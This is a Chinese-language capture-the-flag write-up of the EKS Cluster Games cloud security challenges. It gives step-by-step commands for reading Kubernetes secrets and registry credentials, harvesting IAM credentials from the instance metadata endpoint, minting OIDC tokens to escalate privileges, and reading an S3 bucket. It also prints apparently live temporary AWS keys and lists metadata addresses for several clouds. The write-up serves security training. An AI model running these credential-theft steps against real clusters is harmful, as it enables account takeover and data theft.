初探云原生安全之EKS CLUSTER GAMES
字数 1840 2025-08-18 11:36:53
云原生安全之EKS CLUSTER GAMES实战教学
1. AWS EKS基础概念
EKS (Elastic Kubernetes Service) 是AWS提供的托管Kubernetes服务,简化了在AWS云环境中运行Kubernetes的过程。
核心组件:
- Pod: Kubernetes集群的基本执行单元,可包含一个或多个容器
- Secrets: 用于存储敏感数据(密码、OAuth令牌、SSH密钥等)的对象
2. Challenge 1: 获取Secrets中的Flag
目标: 列出集群中所有secrets并找到flag
操作步骤:
# 列出所有secrets
kubectl get secrets -o yaml
# 或查看特定secret
kubectl get secrets log-rotate -o yaml
关键点:
-o yaml参数以YAML格式输出,便于阅读- 需要具备secrets的get和list权限
3. Challenge 2: 检查Container Registries
目标: 通过imagePullSecrets获取私有仓库凭证
操作步骤:
- 查看pods配置:
kubectl get pods -o yaml
- 查找imagePullSecrets字段
- 获取对应的secret:
kubectl get secrets registry-pull-secrets-780bab1d -o yaml
- 解码dockerconfigjson的auth字段:
echo "base64编码字符串" | base64 -d
- 使用crane登录Docker Hub:
crane auth login index.docker.io -u 用户名 -p 密码
- 读取配置获取flag:
crane config base_ext_image | jq
关键点:
- imagePullSecrets用于拉取私有容器镜像的认证
- crane工具用于管理容器镜像
4. Challenge 3: 检查ECR镜像层
目标: 获取ECR凭证并检查镜像层中的秘密
操作步骤:
- 获取EC2实例元数据:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/eks-challenge-cluster-nodegroup-NodeInstanceRole | jq
- 设置AWS凭证环境变量:
export AWS_ACCESS_KEY_ID=ASIA2AVYNEVM6EK2U6GS
export AWS_SECRET_ACCESS_KEY=/oE7RUuRIldHrxfk8uPHD+7/gPKZVesTvQcANHQG
export AWS_SESSION_TOKEN=FwoGZXIvYXdzEK...
- 获取ECR登录密码并登录:
aws ecr get-login-password | crane auth login 688655246681.dkr.ecr.us-west-1.amazonaws.com -u AWS --password-stdin
- 读取配置获取flag:
crane config 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01 | jq
关键点:
- 169.254.169.254是AWS元数据服务地址
- 通过实例IAM角色获取临时凭证
5. Challenge 4: 提升到节点服务账户
目标: 从受限pod访问EKS节点的权限服务账户
操作步骤:
- 检查当前身份:
aws sts get-caller-identity
- 获取EKS集群token:
aws eks get-token --cluster-name eks-challenge-cluster
- 创建具有OIDC权限的token:
kubectl create token debug-sa --audience sts.amazonaws.com --token="ey..."
- 使用token获取secrets:
kubectl get secrets -o yaml --token="ey..."
关键点:
- 必须指定
--audience sts.amazonaws.com参数 - 通过OIDC实现身份验证
6. Challenge 5: 从EKS迁移到AWS账户
目标: 获取s3access-sa服务账户的AWS角色并读取S3中的flag
操作步骤:
- 获取EKS集群token:
aws eks get-token --cluster-name eks-challenge-cluster
- 创建OIDC token:
kubectl create token debug-sa --audience sts.amazonaws.com --token="ey..."
- 使用token获取AWS角色凭证:
aws sts assume-role-with-web-identity \
--role-arn arn:aws:iam::688655246681:role/challengeEksS3Role \
--role-session-name payload \
--web-identity-token ey...
- 设置环境变量:
export AWS_ACCESS_KEY_ID=ASIA2AVYNEVMYUPBUWGM
export AWS_SECRET_ACCESS_KEY=lUFmyh0PxgngR6vxQflDz8KhkmUpgqGRbjew4XbN
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEJ...
- 读取S3中的flag:
aws s3 cp s3://challenge-flag-bucket-3ff1ae2/flag - | cat
关键点:
- 通过web identity token获取临时凭证
- S3存储桶访问需要正确权限
7. 公有云元数据服务地址汇总
| 云服务商 | 元数据地址 |
|---|---|
| AWS | http://instance-data, http://169.254.169.254 |
| Google Cloud | http://169.254.169.254, http://metadata.google.internal |
| Azure | http://169.254.169.254 |
| Digital Ocean | http://169.254.169.254 |
| Alibaba Cloud | http://100.100.100.200 |
| Tencent Cloud | http://metadata.tencentyun.com |
8. 安全总结
- Secrets管理: 确保敏感信息存储在secrets中而非配置文件中
- 权限控制: 遵循最小权限原则,限制pod和服务账户的权限
- 镜像安全: 检查容器镜像层中可能隐藏的敏感信息
- 元数据保护: 限制对云服务元数据API的访问
- OIDC集成: 使用OIDC实现安全的身份验证和授权
通过这系列挑战,我们学习了从基础的secrets获取到复杂的权限提升和跨服务访问的完整云原生安全攻防技术。